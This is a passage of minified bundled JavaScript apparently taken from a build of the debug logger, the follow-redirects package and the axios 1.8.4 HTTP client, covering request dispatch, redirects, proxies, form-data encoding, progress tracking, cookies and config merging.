A=G18();if(A&&(A.stderr||A).level>=2)W18.colors=[20,21,26,27,32,33,38,39,40,41,42,43,44,45,56,57,62,63,68,69,74,75,76,77,78,79,80,81,92,93,98,99,112,113,128,129,134,135,148,149,160,161,162,163,164,165,166,167,168,169,170,171,172,173,178,179,184,185,196,197,198,199,200,201,202,203,204,205,206,207,208,209,214,215,220,221]}catch(A){}W18.inspectOpts=Object.keys(process.env).filter((A)=>{return/^debug_/i.test(A)}).reduce((A,K)=>{let q=K.substring(6).toLowerCase().replace(/_([a-z])/g,(z,w)=>{return w.toUpperCase()}),Y=process.env[K];if(/^(yes|on|true|enabled)$/i.test(Y))Y=!0;else if(/^(no|off|false|disabled)$/i.test(Y))Y=!1;else if(Y==="null")Y=null;else Y=Number(Y);return A[q]=Y,A},{});function y6q(){return"colors"in W18.inspectOpts?Boolean(W18.inspectOpts.colors):R6q.isatty(process.stderr.fd)}function I6q(A){let{namespace:K,useColors:q}=this;if(q){let Y=this.color,z="\x1B[3"+(Y<8?Y:"8;5;"+Y),w=` ${z};1m${K} \x1B[0m`;A[0]=w+A[0].split(` `).join(` `+w),A.push(z+"m+"+zoA.exports.humanize(this.diff)+"\x1B[0m")}else A[0]=S6q()+K+" "+A[0]}function S6q(){if(W18.inspectOpts.hideDate)return"";return new Date().toISOString()+" "}function h6q(...A){return process.stderr.write(YoA.formatWithOptions(W18.inspectOpts,...A)+` `)}function b6q(A){if(A)process.env.DEBUG=A;else delete process.env.DEBUG}function x6q(){return process.env.DEBUG}function u6q(A){A.inspectOpts={};let K=Object.keys(W18.inspectOpts);for(let q=0;q<K.length;q++)A.inspectOpts[K[q]]=W18.inspectOpts[K[q]]}zoA.exports=VI1()(W18);var{formatters:Z18}=zoA.exports;Z18.o=function(A){return this.inspectOpts.colors=this.useColors,YoA.inspect(A,this.inspectOpts).split(` `).map((K)=>K.trim()).join(" ")};Z18.O=function(A){return this.inspectOpts.colors=this.useColors,YoA.inspect(A,this.inspectOpts)}});var V1A=v((gZz,NI1)=>{if(typeof process>"u"||process.type==="renderer"||!1||process.__nwjs)NI1.exports=O18();else NI1.exports=j18()});var P18=v((FZz,M18)=>{var HTA;M18.exports=function(){if(!HTA){try{HTA=V1A()("follow-redirects")}catch(A){}if(typeof HTA!=="function")HTA=function(){}}HTA.apply(null,arguments)}});var v18=v((QZz,bI1)=>{var OTA=CA("url"),JTA=OTA.URL,d6q=CA("http"),c6q=CA("https"),CI1=CA("stream").Writable,LI1=CA("assert"),V18=P18();(function(){var K=typeof process<"u",q=typeof window<"u"&&typeof document<"u",Y=N1A(Error.captureStackTrace);if(!K&&(q||!Y))console.warn("The follow-redirects package should be excluded from browser builds.")})();var RI1=!1;try{LI1(new JTA(""))}catch(A){RI1=A.code==="ERR_INVALID_URL"}var l6q=["auth","host","hostname","href","path","pathname","port","protocol","query","search","hash"],yI1=["abort","aborted","connect","error","socket","timeout"],II1=Object.create(null);yI1.forEach(function(A){II1[A]=function(K,q,Y){this._redirectable.emit(A,K,q,Y)}});var vI1=XTA("ERR_INVALID_URL","Invalid URL",TypeError),EI1=XTA("ERR_FR_REDIRECTION_FAILURE","Redirected request failed"),i6q=XTA("ERR_FR_TOO_MANY_REDIRECTS","Maximum number of redirects exceeded",EI1),n6q=XTA("ERR_FR_MAX_BODY_LENGTH_EXCEEDED","Request body larger than maxBodyLength limit"),r6q=XTA("ERR_STREAM_WRITE_AFTER_END","write after end"),o6q=CI1.prototype.destroy||N18;function aP(A,K){if(CI1.call(this),this._sanitizeOptions(A),this._options=A,this._ended=!1,this._ending=!1,this._redirectCount=0,this._redirects=[],this._requestBodyLength=0,this._requestBodyBuffers=[],K)this.on("response",K);var q=this;this._onNativeResponse=function(Y){try{q._processResponse(Y)}catch(z){q.emit("error",z instanceof EI1?z:new EI1({cause:z}))}},this._performRequest()}aP.prototype=Object.create(CI1.prototype);aP.prototype.abort=function(){hI1(this._currentRequest),this._currentRequest.abort(),this.emit("abort")};aP.prototype.destroy=function(A){return hI1(this._currentRequest,A),o6q.call(this,A),this};aP.prototype.write=function(A,K,q){if(this._ending)throw new r6q;if(!f1A(A)&&!t6q(A))throw TypeError("data should be a string, Buffer or Uint8Array");if(N1A(K))q=K,K=null;if(A.length===0){if(q)q();return}if(this._requestBodyLength+A.length<=this._options.maxBodyLength)this._requestBodyLength+=A.length,this._requestBodyBuffers.push({data:A,encoding:K}),this._currentRequest.write(A,K,q);else this.emit("error",new n6q),this.abort()};aP.prototype.end=function(A,K,q){if(N1A(A))q=A,A=K=null;else if(N1A(K))q=K,K=null;if(!A)this._ended=this._ending=!0,this._currentRequest.end(null,null,q);else{var Y=this,z=this._currentRequest;this.write(A,K,function(){Y._ended=!0,z.end(null,null,q)}),this._ending=!0}};aP.prototype.setHeader=function(A,K){this._options.headers[A]=K,this._currentRequest.setHeader(A,K)};aP.prototype.removeHeader=function(A){delete this._options.headers[A],this._currentRequest.removeHeader(A)};aP.prototype.setTimeout=function(A,K){var q=this;function Y(H){H.setTimeout(A),H.removeListener("timeout",H.destroy),H.addListener("timeout",H.destroy)}function z(H){if(q._timeout)clearTimeout(q._timeout);q._timeout=setTimeout(function(){q.emit("timeout"),w()},A),Y(H)}function w(){if(q._timeout)clearTimeout(q._timeout),q._timeout=null;if(q.removeListener("abort",w),q.removeListener("error",w),q.removeListener("response",w),q.removeListener("close",w),K)q.removeListener("timeout",K);if(!q.socket)q._currentRequest.removeListener("socket",z)}if(K)this.on("timeout",K);if(this.socket)z(this.socket);else this._currentRequest.once("socket",z);return this.on("socket",Y),this.on("abort",w),this.on("error",w),this.on("response",w),this.on("close",w),this};["flushHeaders","getHeader","setNoDelay","setSocketKeepAlive"].forEach(function(A){aP.prototype[A]=function(K,q){return this._currentRequest[A](K,q)}});["aborted","connection","socket"].forEach(function(A){Object.defineProperty(aP.prototype,A,{get:function(){return this._currentRequest[A]}})});aP.prototype._sanitizeOptions=function(A){if(!A.headers)A.headers={};if(A.host){if(!A.hostname)A.hostname=A.host;delete A.host}if(!A.pathname&&A.path){var K=A.path.indexOf("?");if(K<0)A.pathname=A.path;else A.pathname=A.path.substring(0,K),A.search=A.path.substring(K)}};aP.prototype._performRequest=function(){var A=this._options.protocol,K=this._options.nativeProtocols[A];if(!K)throw TypeError("Unsupported protocol "+A);if(this._options.agents){var q=A.slice(0,-1);this._options.agent=this._options.agents[q]}var Y=this._currentRequest=K.request(this._options,this._onNativeResponse);Y._redirectable=this;for(var z of yI1)Y.on(z,II1[z]);if(this._currentUrl=/^\//.test(this._options.path)?OTA.format(this._options):this._options.path,this._isRedirect){var w=0,H=this,J=this._requestBodyBuffers;(function O(X){if(Y===H._currentRequest){if(X)H.emit("error",X);else if(w<J.length){var $=J[w++];if(!Y.finished)Y.write($.data,$.encoding,O)}else if(H._ended)Y.end()}})()}};aP.prototype._processResponse=function(A){var K=A.statusCode;if(this._options.trackRedirects)this._redirects.push({url:this._currentUrl,headers:A.headers,statusCode:K});var q=A.headers.location;if(!q||this._options.followRedirects===!1||K<300||K>=400){A.responseUrl=this._currentUrl,A.redirects=this._redirects,this.emit("response",A),this._requestBodyBuffers=[];return}if(hI1(this._currentRequest),A.destroy(),++this._redirectCount>this._options.maxRedirects)throw new i6q;var Y,z=this._options.beforeRedirect;if(z)Y=Object.assign({Host:A.req.getHeader("host")},this._options.headers);var w=this._options.method;if((K===301||K===302)&&this._options.method==="POST"||K===303&&!/^(?:GET|HEAD)$/.test(this._options.method))this._options.method="GET",this._requestBodyBuffers=[],TI1(/^content-/i,this._options.headers);var H=TI1(/^host$/i,this._options.headers),J=SI1(this._currentUrl),O=H||J.host,X=/^\w+:/.test(q)?this._currentUrl:OTA.format(Object.assign(J,{host:O})),$=a6q(q,X);if(V18("redirecting to",$.href),this._isRedirect=!0,kI1($,this._options),$.protocol!==J.protocol&&$.protocol!=="https:"||$.host!==O&&!s6q($.host,O))TI1(/^(?:(?:proxy-)?authorization|cookie)$/i,this._options.headers);if(N1A(z)){var _={headers:A.headers,statusCode:K},G={url:X,method:w,headers:Y};z(this._options,_,G),this._sanitizeOptions(this._options)}this._performRequest()};function f18(A){var K={maxRedirects:21,maxBodyLength:10485760},q={};return Object.keys(A).forEach(function(Y){var z=Y+":",w=q[z]=A[Y],H=K[Y]=Object.create(w);function J(X,$,_){if(e6q(X))X=kI1(X);else if(f1A(X))X=kI1(SI1(X));else _=$,$=T18(X),X={protocol:z};if(N1A($))_=$,$=null;if($=Object.assign({maxRedirects:K.maxRedirects,maxBodyLength:K.maxBodyLength},X,$),$.nativeProtocols=q,!f1A($.host)&&!f1A($.hostname))$.hostname="::1";return LI1.equal($.protocol,z,"protocol mismatch"),V18("options",$),new aP($,_)}function O(X,$,_){var G=H.request(X,$,_);return G.end(),G}Object.defineProperties(H,{request:{value:J,configurable:!0,enumerable:!0,writable:!0},get:{value:O,configurable:!0,enumerable:!0,writable:!0}})}),K}function N18(){}function SI1(A){var K;if(RI1)K=new JTA(A);else if(K=T18(OTA.parse(A)),!f1A(K.protocol))throw new vI1({input:A});return K}function a6q(A,K){return RI1?new JTA(A,K):SI1(OTA.resolve(K,A))}function T18(A){if(/^\[/.test(A.hostname)&&!/^\[[:0-9a-f]+\]$/i.test(A.hostname))throw new vI1({input:A.href||A});if(/^\[/.test(A.host)&&!/^\[[:0-9a-f]+\](:\d+)?$/i.test(A.host))throw new vI1({input:A.href||A});return A}function kI1(A,K){var q=K||{};for(var Y of l6q)q[Y]=A[Y];if(q.hostname.startsWith("["))q.hostname=q.hostname.slice(1,-1);if(q.port!=="")q.port=Number(q.port);return q.path=q.search?q.pathname+q.search:q.pathname,q}function TI1(A,K){var q;for(var Y in K)if(A.test(Y))q=K[Y],delete K[Y];return q===null||typeof q>"u"?void 0:String(q).trim()}function XTA(A,K,q){function Y(z){if(N1A(Error.captureStackTrace))Error.captureStackTrace(this,this.constructor);Object.assign(this,z||{}),this.code=A,this.message=this.cause?K+": "+this.cause.message:K}return Y.prototype=Object.create((q||Error).prototype),Object.defineProperties(Y.prototype,{constructor:{value:Y,enumerable:!1},name:{value:"Error ["+A+"]",enumerable:!1}}),Y}function hI1(A,K){for(var q of yI1)A.removeListener(q,II1[q]);A.on("error",N18),A.destroy(K)}function s6q(A,K){LI1(f1A(A)&&f1A(K));var q=A.length-K.length-1;return q>0&&A[q]==="."&&A.endsWith(K)}function f1A(A){return typeof A==="string"||A instanceof String}function N1A(A){return typeof A==="function"}function t6q(A){return typeof A==="object"&&"length"in A}function e6q(A){return JTA&&A instanceof JTA}bI1.exports=f18({http:d6q,https:c6q});bI1.exports.wrap=f18});var T1A="1.8.4";function $TA(A){let K=/^([-+\w]{1,25})(:?\/\/|:)/.exec(A);return K&&K[1]||""}function xI1(A,K,q){let Y=q&&q.Blob||cY.classes.Blob,z=$TA(A);if(K===void 0&&Y)K=!0;if(z==="data"){A=z.length?A.slice(z.length+1):A;let w=A8q.exec(A);if(!w)throw new a4("Invalid URL",a4.ERR_INVALID_URL);let H=w[1],J=w[2],O=w[3],X=Buffer.from(decodeURIComponent(O),J?"base64":"utf8");if(K){if(!Y)throw new a4("Blob is not supported",a4.ERR_NOT_SUPPORT);return new Y([X],{type:H})}return X}throw new a4("Unsupported protocol "+z,a4.ERR_NOT_SUPPORT)}var A8q;var E18=k(()=>{uN();RR();A8q=/^(?:([^;]+);)?(?:[^;]+;)?(base64|),([\s\S]*)$/});import K8q from"stream";var uI1,k18,BI1;var C18=k(()=>{Ow();uI1=Symbol("internals");k18=class k18 extends K8q.Transform{constructor(A){A=i1.toFlatObject(A,{maxRate:0,chunkSize:65536,minChunkSize:100,timeWindow:500,ticksRate:2,samplesCount:15},null,(q,Y)=>{return!i1.isUndefined(Y[q])});super({readableHighWaterMark:A.chunkSize});let K=this[uI1]={timeWindow:A.timeWindow,chunkSize:A.chunkSize,maxRate:A.maxRate,minChunkSize:A.minChunkSize,bytesSeen:0,isCaptured:!1,notifiedBytesLoaded:0,ts:Date.now(),bytes:0,onReadCallback:null};this.on("newListener",(q)=>{if(q==="progress"){if(!K.isCaptured)K.isCaptured=!0}})}_read(A){let K=this[uI1];if(K.onReadCallback)K.onReadCallback();return super._read(A)}_transform(A,K,q){let Y=this[uI1],z=Y.maxRate,w=this.readableHighWaterMark,H=Y.timeWindow,J=1000/H,O=z/J,X=Y.minChunkSize!==!1?Math.max(Y.minChunkSize,O*0.01):0,$=(G,Z)=>{let W=Buffer.byteLength(G);if(Y.bytesSeen+=W,Y.bytes+=W,Y.isCaptured&&this.emit("progress",Y.bytesSeen),this.push(G))process.nextTick(Z);else Y.onReadCallback=()=>{Y.onReadCallback=null,process.nextTick(Z)}},_=(G,Z)=>{let W=Buffer.byteLength(G),D=null,j=w,M,P=0;if(z){let f=Date.now();if(!Y.ts||(P=f-Y.ts)>=H)Y.ts=f,M=O-Y.bytes,Y.bytes=M<0?-M:0,P=0;M=O-Y.bytes}if(z){if(M<=0)return setTimeout(()=>{Z(null,G)},H-P);if(M<j)j=M}if(j&&W>j&&W-j>X)D=G.subarray(j),G=G.subarray(0,j);$(G,D?()=>{process.nextTick(Z,null,D)}:Z)};_(A,function G(Z,W){if(Z)return q(Z);if(W)_(W,G);else q(null)})}};BI1=k18});var L18,q8q=async function*(A){if(A.stream)yield*A.stream();else if(A.arrayBuffer)yield await A.arrayBuffer();else if(A[L18])yield*A[L18]();else yield A},woA;var mI1=k(()=>{({asyncIterator:L18}=Symbol),woA=q8q});import Y8q from"util";import{Readable as z8q}from"stream";class R18{constructor(A,K){let{escapeName:q}=this.constructor,Y=i1.isString(K),z=`Content-Disposition: form-data; name="${q(A)}"${!Y&&K.name?`; filename="${q(K.name)}"`:""}${Il}`;if(Y)K=_TA.encode(String(K).replace(/\r?\n|\r\n?/g,Il));else z+=`Content-Type: ${K.type||"application/octet-stream"}${Il}`;this.headers=_TA.encode(z+Il),this.contentLength=Y?K.byteLength:K.size,this.size=this.headers.byteLength+this.contentLength+J8q,this.name=A,this.value=K}async*encode(){yield this.headers;let{value:A}=this;if(i1.isTypedArray(A))yield A;else yield*woA(A);yield H8q}static escapeName(A){return String(A).replace(/[\r\n"]/g,(K)=>({"\r":"%0D","\n":"%0A",'"':"%22"})[K])}}var w8q,_TA,Il=`\r `,H8q,J8q=2,O8q=(A,K,q)=>{let{tag:Y="form-data-boundary",size:z=25,boundary:w=Y+"-"+cY.generateString(z,w8q)}=q||{};if(!i1.isFormData(A))throw TypeError("FormData instance required");if(w.length<1||w.length>70)throw Error("boundary must be 10-70 characters long");let H=_TA.encode("--"+w+Il),J=_TA.encode("--"+w+"--"+Il+Il),O=J.byteLength,X=Array.from(A.entries()).map(([_,G])=>{let Z=new R18(_,G);return O+=Z.size,Z});O+=H.byteLength*X.length,O=i1.toFiniteNumber(O);let $={"Content-Type":`multipart/form-data; boundary=${w}`};if(Number.isFinite(O))$["Content-Length"]=O;return K&&K($),z8q.from(async function*(){for(let _ of X)yield H,yield*_.encode();yield J}())},y18;var I18=k(()=>{Ow();mI1();RR();w8q=cY.ALPHABET.ALPHA_DIGIT+"-_",_TA=typeof TextEncoder==="function"?new TextEncoder:new Y8q.TextEncoder,H8q=_TA.encode(Il);y18=O8q});import X8q from"stream";var S18,h18;var b18=k(()=>{S18=class S18 extends X8q.Transform{__transform(A,K,q){this.push(A),q()}_transform(A,K,q){if(A.length!==0){if(this._transform=this.__transform,A[0]!==120){let Y=Buffer.alloc(2);Y[0]=120,Y[1]=156,this.push(Y,K)}}this.__transform(A,K,q)}};h18=S18});var $8q=(A,K)=>{return i1.isAsyncFn(A)?function(...q){let Y=q.pop();A.apply(this,q).then((z)=>{try{K?Y(null,...K(z)):Y(null,z)}catch(w){Y(w)}},Y)}:A},x18;var u18=k(()=>{Ow();x18=$8q});function _8q(A,K){A=A||10;let q=Array(A),Y=Array(A),z=0,w=0,H;return K=K!==void 0?K:1000,function(O){let X=Date.now(),$=Y[w];if(!H)H=X;q[z]=O,Y[z]=X;let _=w,G=0;while(_!==z)G+=q[_++],_=_%A;if(z=(z+1)%A,z===w)w=(w+1)%A;if(X-H<K)return;let Z=$&&X-$;return Z?Math.round(G*1000/Z):void 0}}var B18;var m18=k(()=>{B18=_8q});function G8q(A,K){let q=0,Y=1000/K,z,w,H=(X,$=Date.now())=>{if(q=$,z=null,w)clearTimeout(w),w=null;A.apply(null,X)};return[(...X)=>{let $=Date.now(),_=$-q;if(_>=Y)H(X,$);else if(z=X,!w)w=setTimeout(()=>{w=null,H(z)},Y-_)},()=>z&&H(z)]}var g18;var F18=k(()=>{g18=G8q});var Bg=(A,K,q=3)=>{let Y=0,z=B18(50,250);return g18((w)=>{let H=w.loaded,J=w.lengthComputable?w.total:void 0,O=H-Y,X=z(O),$=H<=J;Y=H;let _={loaded:H,total:J,progress:J?H/J:void 0,bytes:O,rate:X?X:void 0,estimated:X&&J&&$?(J-H)/X:void 0,event:w,lengthComputable:J!=null,[K?"download":"upload"]:!0};A(_)},q)},czA=(A,K)=>{let q=A!=null;return[(Y)=>K[0]({lengthComputable:q,total:A,loaded:Y}),K[1]]},lzA=(A)=>(...K)=>i1.asap(()=>A(...K));var HoA=k(()=>{m18();F18();Ow()});import Z8q from"http";import W8q from"https";import D8q from"util";import Sl from"zlib";import izA from"stream";import{EventEmitter as j8q}from"events";function N8q(A,K){if(A.beforeRedirects.proxy)A.beforeRedirects.proxy(A);if(A.beforeRedirects.config)A.beforeRedirects.config(A,K)}function n18(A,K,q){let Y=K;if(!Y&&Y!==!1){let z=l18.default.getProxyForUrl(q);if(z)Y=new URL(z)}if(Y){if(Y.username)Y.auth=(Y.username||"")+":"+(Y.password||"");if(Y.auth){if(Y.auth.username||Y.auth.password)Y.auth=(Y.auth.username||"")+":"+(Y.auth.password||"");let w=Buffer.from(Y.auth,"utf8").toString("base64");A.headers["Proxy-Authorization"]="Basic "+w}A.headers.host=A.hostname+(A.port?":"+A.port:"");let z=Y.hostname||Y.host;if(A.hostname=z,A.host=z,A.port=Y.port,A.path=q,Y.protocol)A.protocol=Y.protocol.includes(":")?Y.protocol:`${Y.protocol}:`}A.beforeRedirects.proxy=function(w){n18(w,K,w.href)}}var l18,i18,Q18,M8q,U18,P8q,V8q,f8q,p18,d18=(A,[K,q])=>{return A.on("end",q).on("error",q),K},T8q,v8q=(A)=>{return new Promise((K,q)=>{let Y,z,w=(O,X)=>{if(z)return;z=!0,Y&&Y(O,X)},H=(O)=>{w(O),K(O)},J=(O)=>{w(O,!0),q(O)};A(H,J,(O)=>Y=O).catch(J)})},E8q=({address:A,family:K})=>{if(!i1.isString(A))throw TypeError("address must be a string");return{address:A,family:K||(A.indexOf(".")<0?6:4)}},c18=(A,K)=>E8q(i1.isObject(A)?A:{address:A,family:K}),r18;var o18=k(()=>{Ow();srA();trA();irA();nrA();uN();D1A();RR();E18();lh();C18();I18();mI1();b18();u18();HoA();l18=o(z18(),1),i18=o(v18(),1),Q18={flush:Sl.constants.Z_SYNC_FLUSH,finishFlush:Sl.constants.Z_SYNC_FLUSH},M8q={flush:Sl.constants.BROTLI_OPERATION_FLUSH,finishFlush:Sl.constants.BROTLI_OPERATION_FLUSH},U18=i1.isFunction(Sl.createBrotliDecompress),{http:P8q,https:V8q}=i18.default,f8q=/https:?/,p18=cY.protocols.map((A)=>{return A+":"});T8q=typeof process<"u"&&i1.kindOf(process)==="process",r18=T8q&&function(K){return v8q(async function(Y,z,w){let{data:H,lookup:J,family:O}=K,{responseType:X,responseEncoding:$}=K,_=K.method.toUpperCase(),G,Z=!1,W;if(J){let c=x18(J,(YA)=>i1.isArray(YA)?YA:[YA]);J=(YA,e,qA)=>{c(YA,e,(HA,_A,a)=>{if(HA)return qA(HA);let JA=i1.isArray(_A)?_A.map((jA)=>c18(jA)):[c18(_A,a)];e.all?qA(HA,JA):qA(HA,JA[0].address,JA[0].family)})}}let D=new j8q,j=()=>{if(K.cancelToken)K.cancelToken.unsubscribe(M);if(K.signal)K.signal.removeEventListener("abort",M);D.removeAllListeners()};w((c,YA)=>{if(G=!0,YA)Z=!0,j()});function M(c){D.emit("abort",!c||c.type?new BN(null,K,W):c)}if(D.once("abort",z),K.cancelToken||K.signal){if(K.cancelToken&&K.cancelToken.subscribe(M),K.signal)K.signal.aborted?M():K.signal.addEventListener("abort",M)}let P=j1A(K.baseURL,K.url,K.allowAbsoluteUrls),f=new URL(P,cY.hasBrowserEnv?cY.origin:void 0),N=f.protocol||p18[0];if(N==="data:"){let c;if(_!=="GET")return ih(Y,z,{status:405,statusText:"method not allowed",headers:{},config:K});try{c=xI1(K.url,X==="blob",{Blob:K.env&&K.env.Blob})}catch(YA){throw a4.from(YA,a4.ERR_BAD_REQUEST,K)}if(X==="text"){if(c=c.toString($),!$||$==="utf8")c=i1.stripBOM(c)}else if(X==="stream")c=izA.Readable.from(c);return ih(Y,z,{data:c,status:200,statusText:"OK",headers:new eJ,config:K})}if(p18.indexOf(N)===-1)return z(new a4("Unsupported protocol "+N,a4.ERR_BAD_REQUEST,K));let T=eJ.from(K.headers).normalize();T.set("User-Agent","axios/"+T1A,!1);let{onUploadProgress:C,onDownloadProgress:R}=K,x=K.maxRate,y=void 0,B=void 0;if(i1.isSpecCompliantForm(H)){let c=T.getContentType(/boundary=([-_\w\d]{10,70})/i);H=y18(H,(YA)=>{T.set(YA)},{tag:`axios-${T1A}-boundary`,boundary:c&&c[1]||void 0})}else if(i1.isFormData(H)&&i1.isFunction(H.getHeaders)){if(T.set(H.getHeaders()),!T.hasContentLength())try{let c=await D8q.promisify(H.getLength).call(H);Number.isFinite(c)&&c>=0&&T.setContentLength(c)}catch(c){}}else if(i1.isBlob(H)||i1.isFile(H))H.size&&T.setContentType(H.type||"application/octet-stream"),T.setContentLength(H.size||0),H=izA.Readable.from(woA(H));else if(H&&!i1.isStream(H)){if(Buffer.isBuffer(H));else if(i1.isArrayBuffer(H))H=Buffer.from(new Uint8Array(H));else if(i1.isString(H))H=Buffer.from(H,"utf-8");else return z(new a4("Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream",a4.ERR_BAD_REQUEST,K));if(T.setContentLength(H.length,!1),K.maxBodyLength>-1&&H.length>K.maxBodyLength)return z(new a4("Request body larger than maxBodyLength limit",a4.ERR_BAD_REQUEST,K))}let b=i1.toFiniteNumber(T.getContentLength());if(i1.isArray(x))y=x[0],B=x[1];else y=B=x;if(H&&(C||y)){if(!i1.isStream(H))H=izA.Readable.from(H,{objectMode:!1});H=izA.pipeline([H,new BI1({maxRate:i1.toFiniteNumber(y)})],i1.noop),C&&H.on("progress",d18(H,czA(b,Bg(lzA(C),!1,3))))}let F=void 0;if(K.auth){let c=K.auth.username||"",YA=K.auth.password||"";F=c+":"+YA}if(!F&&f.username){let{username:c,password:YA}=f;F=c+":"+YA}F&&T.delete("authorization");let Q;try{Q=W1A(f.pathname+f.search,K.params,K.paramsSerializer).replace(/^\?/,"")}catch(c){let YA=Error(c.message);return YA.config=K,YA.url=K.url,YA.exists=!0,z(YA)}T.set("Accept-Encoding","gzip, compress, deflate"+(U18?", br":""),!1);let u={path:Q,method:_,headers:T.toJSON(),agents:{http:K.httpAgent,https:K.httpsAgent},auth:F,protocol:N,family:O,beforeRedirect:N8q,beforeRedirects:{}};if(!i1.isUndefined(J)&&(u.lookup=J),K.socketPath)u.socketPath=K.socketPath;else u.hostname=f.hostname.startsWith("[")?f.hostname.slice(1,-1):f.hostname,u.port=f.port,n18(u,K.proxy,N+"//"+f.hostname+(f.port?":"+f.port:"")+u.path);let d,r=f8q.test(u.protocol);if(u.agent=r?K.httpsAgent:K.httpAgent,K.transport)d=K.transport;else if(K.maxRedirects===0)d=r?W8q:Z8q;else{if(K.maxRedirects)u.maxRedirects=K.maxRedirects;if(K.beforeRedirect)u.beforeRedirects.config=K.beforeRedirect;d=r?V8q:P8q}if(K.maxBodyLength>-1)u.maxBodyLength=K.maxBodyLength;else u.maxBodyLength=1/0;if(K.insecureHTTPParser)u.insecureHTTPParser=K.insecureHTTPParser;if(W=d.request(u,function(YA){if(W.destroyed)return;let e=[YA],qA=+YA.headers["content-length"];if(R||B){let jA=new BI1({maxRate:i1.toFiniteNumber(B)});R&&jA.on("progress",d18(jA,czA(qA,Bg(lzA(R),!0,3)))),e.push(jA)}let HA=YA,_A=YA.req||W;if(K.decompress!==!1&&YA.headers["content-encoding"]){if(_==="HEAD"||YA.statusCode===204)delete YA.headers["content-encoding"];switch((YA.headers["content-encoding"]||"").toLowerCase()){case"gzip":case"x-gzip":case"compress":case"x-compress":e.push(Sl.createUnzip(Q18)),delete YA.headers["content-encoding"];break;case"deflate":e.push(new h18),e.push(Sl.createUnzip(Q18)),delete YA.headers["content-encoding"];break;case"br":if(U18)e.push(Sl.createBrotliDecompress(M8q)),delete YA.headers["content-encoding"]}}HA=e.length>1?izA.pipeline(e,i1.noop):e[0];let a=izA.finished(HA,()=>{a(),j()}),JA={status:YA.statusCode,statusText:YA.statusMessage,headers:new eJ(YA.headers),config:K,request:_A};if(X==="stream")JA.data=HA,ih(Y,z,JA);else{let jA=[],MA=0;HA.on("data",function(yA){if(jA.push(yA),MA+=yA.length,K.maxContentLength>-1&&MA>K.maxContentLength)Z=!0,HA.destroy(),z(new a4("maxContentLength size of "+K.maxContentLength+" exceeded",a4.ERR_BAD_RESPONSE,K,_A))}),HA.on("aborted",function(){if(Z)return;let yA=new a4("stream has been aborted",a4.ERR_BAD_RESPONSE,K,_A);HA.destroy(yA),z(yA)}),HA.on("error",function(yA){if(W.destroyed)return;z(a4.from(yA,null,K,_A))}),HA.on("end",function(){try{let yA=jA.length===1?jA[0]:Buffer.concat(jA);if(X!=="arraybuffer"){if(yA=yA.toString($),!$||$==="utf8")yA=i1.stripBOM(yA)}JA.data=yA}catch(yA){return z(a4.from(yA,null,K,JA.request,JA))}ih(Y,z,JA)})}D.once("abort",(jA)=>{if(!HA.destroyed)HA.emit("error",jA),HA.destroy()})}),D.once("abort",(c)=>{z(c),W.destroy(c)}),W.on("error",function(YA){z(a4.from(YA,null,K,W))}),W.on("socket",function(YA){YA.setKeepAlive(!0,60000)}),K.timeout){let c=parseInt(K.timeout,10);if(Number.isNaN(c)){z(new a4("error trying to parse `config.timeout` to int",a4.ERR_BAD_OPTION_VALUE,K,W));return}W.setTimeout(c,function(){if(G)return;let e=K.timeout?"timeout of "+K.timeout+"ms exceeded":"timeout exceeded",qA=K.transitional||gzA;if(K.timeoutErrorMessage)e=K.timeoutErrorMessage;z(new a4(e,qA.clarifyTimeoutError?a4.ETIMEDOUT:a4.ECONNABORTED,K,W)),M()})}if(i1.isStream(H)){let c=!1,YA=!1;H.on("end",()=>{c=!0}),H.once("error",(e)=>{YA=!0,W.destroy(e)}),H.on("close",()=>{if(!c&&!YA)M(new BN("Request stream has been aborted",K,W))}),H.pipe(W)}else W.end(H)})}});var a18;var s18=k(()=>{RR();a18=cY.hasStandardBrowserEnv?((A,K)=>(q)=>{return q=new URL(q,cY.origin),A.protocol===q.protocol&&A.host===q.host&&(K||A.port===q.port)})(new URL(cY.origin),cY.navigator&&/(msie|trident)/i.test(cY.navigator.userAgent)):()=>!0});var t18;var e18=k(()=>{Ow();RR();t18=cY.hasStandardBrowserEnv?{write(A,K,q,Y,z,w){let H=[A+"="+encodeURIComponent(K)];i1.isNumber(q)&&H.push("expires="+new Date(q).toGMTString()),i1.isString(Y)&&H.push("path="+Y),i1.isString(z)&&H.push("domain="+z),w===!0&&H.push("secure"),document.cookie=H.join("; ")},read(A){let K=document.cookie.match(new RegExp("(^|;\\s*)("+A+")=([^;]*)"));return K?decodeURIComponent(K[3]):null},remove(A){this.write(A,"",Date.now()-86400000)}}:{write(){},read(){return null},remove(){}}});function yR(A,K){K=K||{};let q={};function Y(X,$,_,G){if(i1.isPlainObject(X)&&i1.isPlainObject($))return i1.merge.call({caseless:G},X,$);else if(i1.isPlainObject($))return i1.merge({},$);else if(i1.isArray($))return $.slice();return $}function z(X,$,_,G){if(!i1.isUndefined($))return Y(X,$,_,G);else if(!i1.isUndefined(X))return Y(void 0,X,_,G)}function w(X,$){if(!i1.isUndefined($))return Y(void 0,$)}function H(X,$){if(!i1.isUndefined($))return Y(void 0,$);else if(!i1.isUndefined(X))return Y(void 0,X)}function J(X,$,_){if(_ in K)return Y(X,$);else if(_ in A)return Y(void 0,X)}let O={url:w,method:w,data:w,baseURL:H,transformRequest:H,transformResponse:H,paramsSerializer:H,timeout:H,timeoutMessage:H,withCredentials:H,withXSRFToken:H,adapter:H,responseType:H,xsrfCookieName:H,xsrfHeaderName:H,onUploadProgress:H,onDownloadProgress:H,decompress:H,maxContentLength:H,maxBodyLength:H,beforeRedirect:H,transport:H,httpAgent:H,httpsAgent:H,cancelToken:H,socketPath:H,responseEncoding:H,validateStatus:J,headers:(X,$,_)=>z(A68(X),A68($),_,!0)};return i1.forEach(Object.keys(Object.assign({},A,K)),function($){let _=O[$]||z,G=_(A[$],K[$],$);i1.isUndefined(G)&&_!==J||(q[$]=G)}),q}var A68=(A)=>A instanceof eJ?{...A}:A;var JoA=k(()=>{Ow();lh()});var OoA=(A)=>{let K=yR({},A),{data:q,withXSRFToken:Y,xsrfHeaderName:z,xsrfCookieName:w,headers:H,auth:J}=K;if(K.headers=H=eJ.from(H),K.url=W1A(j1A(K.baseURL,K.url,K.allowAbsoluteUrls),A.params,A.paramsSerializer),J)H.set("Authorization","Basic "+btoa((J.username||"")+":"+(J.password?unescape(encodeURIComponent(J.password)):"")));let O;if(i1.isFormData(q)){if(cY.hasStandardBrowserEnv||cY.hasStandardBrowserWebWorkerEnv)H.setContentType(void 0);else 